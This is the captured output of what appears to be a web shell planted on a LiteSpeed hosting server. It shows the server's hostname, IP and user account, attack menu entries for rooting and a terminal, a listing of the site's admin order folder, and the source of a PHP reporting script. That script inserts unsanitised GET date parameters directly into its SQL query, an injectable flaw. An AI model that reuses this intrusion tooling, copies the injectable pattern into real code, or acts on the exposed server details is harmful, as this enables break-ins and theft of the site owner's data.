Linux moon.hostseba.com 4.18.0-553.51.1.lve.el8.x86_64 #1 SMP Tue May 6 15:14:12 UTC 2025 x86_64
LiteSpeed
Server IP : 103.174.152.68 & Your IP : 216.73.216.6
Domains :
Cant Read [ /etc/named.conf ]
User : julaysp1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
julaysp1 /
public_html /
admin /
order /
list /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2025-09-01 07:26
error_log
8.31
MB
-rw-r--r--
2025-08-29 06:29
fetch_data_for_bio.php
611
B
-rw-r--r--
2024-10-25 15:16
fetch_pending_file_bio.php
911
B
-rw-r--r--
2024-10-31 14:22
fetch_total_order_summery.php
4.38
KB
-rw-r--r--
2025-05-29 16:41
fetch_total_succes_order.php
2.68
KB
-rw-r--r--
2024-11-15 09:54
fetch_total_summery.php
2.34
KB
-rw-r--r--
2024-11-15 13:11
fetch_user_data.php
558
B
-rw-r--r--
2024-11-15 14:50
file_order_cancel.php
666
B
-rw-r--r--
2024-10-27 18:28
file_order_completed.php
666
B
-rw-r--r--
2024-10-28 08:59
file_order_pending.php
784
B
-rw-r--r--
2024-11-15 18:22
list_of_bio_order.php
1.31
KB
-rw-r--r--
2024-11-15 17:43
list_order_cancel.php
665
B
-rw-r--r--
2024-10-26 15:38
list_order_completed.php
708
B
-rw-r--r--
2024-10-28 08:58
nid_order_pending.php
770
B
-rw-r--r--
2024-11-15 18:40
sign_order_pending.php
772
B
-rw-r--r--
2024-11-15 18:41
Save
Rename
<?php include_once("../../includes/configuration.php"); // Get start and end date from the request $start_date = isset($_GET['start_date']) ? $_GET['start_date'] : ''; $end_date = isset($_GET['end_date']) ? $_GET['end_date'] : ''; // Ensure both dates are provided if ($start_date && $end_date) { // Prepare the SQL query to count orders grouped by order_type and status, and calculate total price for each $sql_order_count = " SELECT order_type, SUM(CASE WHEN status = 'pending' THEN 1 ELSE 0 END) AS pending_count, SUM(CASE WHEN status = 'pending' THEN price ELSE 0 END) AS pending_price, SUM(CASE WHEN status = 'success' THEN 1 ELSE 0 END) AS success_count, SUM(CASE WHEN status = 'success' THEN price ELSE 0 END) AS success_price, SUM(CASE WHEN status NOT IN ('pending', 'success') THEN 1 ELSE 0 END) AS other_count, SUM(CASE WHEN status NOT IN ('pending', 'success') THEN price ELSE 0 END) AS other_price FROM order_list WHERE order_time BETWEEN '$start_date' AND '$end_date' GROUP BY order_type "; } else { // Default query to fetch all data $sql_order_count = " SELECT order_type, SUM(CASE WHEN status = 'pending' THEN 1 ELSE 0 END) AS pending_count, SUM(CASE WHEN status = 'pending' THEN price ELSE 0 END) AS pending_price, SUM(CASE WHEN status = 'success' THEN 1 ELSE 0 END) AS success_count, SUM(CASE WHEN status = 'success' THEN price ELSE 0 END) AS success_price, SUM(CASE WHEN status NOT IN ('pending', 'success') THEN 1 ELSE 0 END) AS other_count, SUM(CASE WHEN status NOT IN ('pending', 'success') THEN price ELSE 0 END) AS other_price FROM order_list GROUP BY order_type "; } $result_order_count = $conn->query($sql_order_count); $counts = []; // Fetch count and total price for each order_type if ($result_order_count->num_rows > 0) { while ($row = $result_order_count->fetch_assoc()) { $counts[$row['order_type']] = [ 'pending_count' => (int)$row['pending_count'], 'pending_price' => (float)$row['pending_price'], 'success_count' => (int)$row['success_count'], 'success_price' => (float)$row['success_price'], 'other_count' => (int)$row['other_count'], 'other_price' => (float)$row['other_price'] ]; } } else { // If no data found, return empty data $counts = []; } // Close connection $conn->close(); // Return results as JSON header('Content-Type: application/json'); echo json_encode($counts); ?>